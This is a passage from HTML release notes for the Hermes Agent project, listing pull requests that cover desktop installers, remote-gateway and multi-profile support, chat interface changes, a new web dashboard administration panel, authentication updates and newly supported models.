<li>macOS desktop install + in-app self-update; rebuild-and-relaunch cleanly on macOS (<a href="https://github.com/NousResearch/hermes-agent/pull/35607" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35607/hovercard">#35607</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36198" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36198/hovercard">#36198</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38296" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38296/hovercard">#38296</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>macOS installer renamed to "Hermes" and turned into a launcher (<a href="https://github.com/NousResearch/hermes-agent/pull/37516" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37516/hovercard">#37516</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Build desktop in its own <code>desktop</code> stage on macOS/Linux instead of silently skipping; content-hash build stamp, <code>--build-only</code> / <code>--force-build</code> flags (<a href="https://github.com/NousResearch/hermes-agent/pull/36134" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36134/hovercard">#36134</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37597/hovercard">#37597</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>Boot-failure recovery + live API-key validation; cancellable install; recover from corrupt cached Electron download (<a href="https://github.com/NousResearch/hermes-agent/pull/35864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35864/hovercard">#35864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37379/hovercard">#37379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39032" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39032/hovercard">#39032</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Windows: recover from corrupt Electron cache in bootstrap install; stop racing our own backend during in-app update (<a href="https://github.com/NousResearch/hermes-agent/pull/39465" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39465/hovercard">#39465</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39828" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39828/hovercard">#39828</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Linux: configure Electron sandbox helper; detect linux arm64 binary; disable GPU acceleration on remote displays to stop flicker (<a href="https://github.com/NousResearch/hermes-agent/pull/37691" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37691/hovercard">#37691</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38594" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38594/hovercard">#38594</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37932/hovercard">#37932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Require Node ≥20.19/22.12 for the desktop build; zero eslint/typecheck debt + prettier pass (<a href="https://github.com/NousResearch/hermes-agent/pull/38255" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38255/hovercard">#38255</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39100" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39100/hovercard">#39100</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Remote-gateway &amp; multi-profile</h3>
<ul>
<li>Connect to OAuth-gated remote gateways; username/password login for remote gateways; per-profile remote gateway hosts (<a href="https://github.com/NousResearch/hermes-agent/pull/37888" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37888/hovercard">#37888</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38851" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38851/hovercard">#38851</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39778" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39778/hovercard">#39778</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Concurrent multi-profile sessions, cross-profile <code>@session</code> links; re-mint OAuth WS ticket on gateway reconnect; gate OAuth remote connect on AT-or-RT (<a href="https://github.com/NousResearch/hermes-agent/pull/39330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39330/hovercard">#39330</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38886" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38886/hovercard">#38886</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39464" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39464/hovercard">#39464</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Offer remote sign-in on a gated-gateway boot failure; validate live WebSocket in remote gateway test (<a href="https://github.com/NousResearch/hermes-agent/pull/39402" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39402/hovercard">#39402</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39511" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39511/hovercard">#39511</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Chat UX &amp; settings</h3>
<ul>
<li>Drop files anywhere in the chat area; clipboard image paste with dedupe; attachments on Enter, IME composition handling (<a href="https://github.com/NousResearch/hermes-agent/pull/36262" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36262/hovercard">#36262</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38306" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38306/hovercard">#38306</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38677" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38677/hovercard">#38677</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Background needs-input indicator, clarify redesign, Cmd+K palette &amp; UI consistency pass; inline model picker in the status bar; YOLO toggle in the status bar (TUI parity) (<a href="https://github.com/NousResearch/hermes-agent/pull/38631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38631/hovercard">#38631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37738/hovercard">#37738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38517" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38517/hovercard">#38517</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Session-list overhaul, session hygiene/archive, media streaming + connecting overlay; search sessions by id (SQL-bounded) (<a href="https://github.com/NousResearch/hermes-agent/pull/37379" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37379/hovercard">#37379</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37099" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37099/hovercard">#37099</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39062" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39062/hovercard">#39062</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Dedicated Providers settings + polished Accounts/API-keys UX; consolidate skills + tools management into one pane; move model management into Settings (<a href="https://github.com/NousResearch/hermes-agent/pull/38551" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38551/hovercard">#38551</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37310" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37310/hovercard">#37310</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37330" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37330/hovercard">#37330</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>)</li>
<li>Render approval/sudo/secret prompts so tools stop silently timing out; surface skill &amp; quick-command slash commands in the palette; first-class xAI Grok OAuth provider in the launcher (<a href="https://github.com/NousResearch/hermes-agent/pull/38578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38578/hovercard">#38578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38531" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38531/hovercard">#38531</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37697" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37697/hovercard">#37697</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>"Choose provider later" skip on first-run onboarding; onboarding can configure a local/custom endpoint without an API key; custom zoom shortcuts (<a href="https://github.com/NousResearch/hermes-agent/pull/39483" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39483/hovercard">#39483</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38572" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38572/hovercard">#38572</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37894" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37894/hovercard">#37894</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a>)</li>
<li>macOS helper microphone entitlement; scroll-jump fixes (native anchoring, at-rest jump, wheel-up snap-back); thinking block stays open mid-streaming (<a href="https://github.com/NousResearch/hermes-agent/pull/37745" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37745/hovercard">#37745</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37866/hovercard">#37866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38221" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38221/hovercard">#38221</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38809" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38809/hovercard">#38809</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stremtec/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stremtec">@stremtec</a>)</li>
<li>GUI quality-of-life triage batch; salvaged AhmetArif0 desktop/dashboard fixes; rename session via <code>session.title</code> RPC so <code>/title</code> works (<a href="https://github.com/NousResearch/hermes-agent/pull/37536" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37536/hovercard">#37536</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39070" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39070/hovercard">#39070</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39410" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39410/hovercard">#39410</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li><code>hermes debug share</code> / <code>/debug</code> / <code>hermes logs</code> now include <code>desktop.log</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/38203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38203/hovercard">#38203</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Simplified Chinese (简体中文) translation</strong> across every desktop UI surface — typed i18n layer, switch in Appearance settings, persisted via <code>display.language</code> (English remains default) (<a href="https://github.com/NousResearch/hermes-agent/pull/38241" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38241/hovercard">#38241</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JimLiu/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JimLiu">@JimLiu</a>)</li>
<li>Full multi-profile support over one global-remote dashboard; remote-profile sessions are first-class (resume, read, rename/archive/delete); new chats honor their profile in global-remote mode (<a href="https://github.com/NousResearch/hermes-agent/pull/39921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39921/hovercard">#39921</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39894" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39894/hovercard">#39894</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39993" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39993/hovercard">#39993</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h2>📊 Web Dashboard</h2>
<h3>Administration panel (NEW)</h3>
<ul>
<li>Full administration panel — MCP catalog with enable/disable toggles, pairing, webhooks, credentials, memory, gateway, hook creation, system settings (<a href="https://github.com/NousResearch/hermes-agent/pull/36704" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36704/hovercard">#36704</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36736" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36736/hovercard">#36736</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Channels page — set up every gateway messaging channel from the browser (<a href="https://github.com/NousResearch/hermes-agent/pull/37211" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37211/hovercard">#37211</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>System page: check-before-update flow + Debug Share (<a href="https://github.com/NousResearch/hermes-agent/pull/38205" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38205/hovercard">#38205</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38600" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38600/hovercard">#38600</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>nous-blue theme, bulk sessions, schedule picker; enriched profiles dashboard + de-dupe channel env vars; configurable terminal background via theme (<a href="https://github.com/NousResearch/hermes-agent/pull/37383" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37383/hovercard">#37383</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37872/hovercard">#37872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37156" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37156/hovercard">#37156</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Always enable embedded chat; remove dashboard <code>--tui</code> flag (<a href="https://github.com/NousResearch/hermes-agent/pull/38591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38591/hovercard">#38591</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h3>Auth</h3>
<ul>
<li>Pluggable username/password login (Option B); generic self-hosted OIDC provider + multi-provider verify fix; <code>hermes dashboard register</code> for self-hosted OAuth client (<a href="https://github.com/NousResearch/hermes-agent/pull/38819" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38819/hovercard">#38819</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38917" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38917/hovercard">#38917</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38802" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38802/hovercard">#38802</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Rotate dashboard sessions via refresh token; share <code>/api/*</code> public allowlist between legacy and OAuth gates; drop <code>/api/*</code> paths from OAuth <code>next=</code> round trip (<a href="https://github.com/NousResearch/hermes-agent/pull/37247" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37247/hovercard">#37247</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/34254" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34254/hovercard">#34254</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36244" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36244/hovercard">#36244</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
<li>Chat tab works in gated (OAuth) mode; trust non-web WS origins on OAuth-gated binds after ticket auth; authenticate server-spawned PTY child WS; sanction plugin WS/upload auth via SDK helpers (<a href="https://github.com/NousResearch/hermes-agent/pull/34793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/34793/hovercard">#34793</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37870" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37870/hovercard">#37870</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37972" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37972/hovercard">#37972</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/38549" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/38549/hovercard">#38549</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Allow desktop websocket origins on remote binds (<a href="https://github.com/NousResearch/hermes-agent/pull/37747" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37747/hovercard">#37747</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🏗️ Core Agent &amp; Architecture</h2>
<h3>Provider &amp; model support</h3>
<ul>
<li>New models: <code>deepseek-v4-flash</code> (+ trimmed variants, maker-grouped curated lists), <code>MiniMax-M3</code> with 1M context on native minimax providers, <code>qwen3.7-plus</code> (Nous + OpenRouter), <code>gemini-3.5-flash</code> to Gemini OAuth + API-key pickers (<a href="https://github.com/NousResearch/hermes-agent/pull/35659" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35659/hovercard">#35659</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/36214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36214/hovercard">#36214</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/39409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39409/hovercard">#39409</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37046/hovercard">#37046</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Model picker: fuzzy search across WebUI/TUI/CLI; group multi-endpoint providers under one row; refresh provider descriptions + describe grouped rows; refresh catalog hourly; stop routing OpenAI selection to OpenRouter (<a href="https://github.com/NousResearch/hermes-agent/pull/36928" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/36928/hovercard">#36928</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35227" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35227/hovercard">#35227</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35773" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35773/hovercard">#35773</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/35756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/35756/hovercard">#35756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/37175" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/37175/hovercard">#37175</a>)</li>
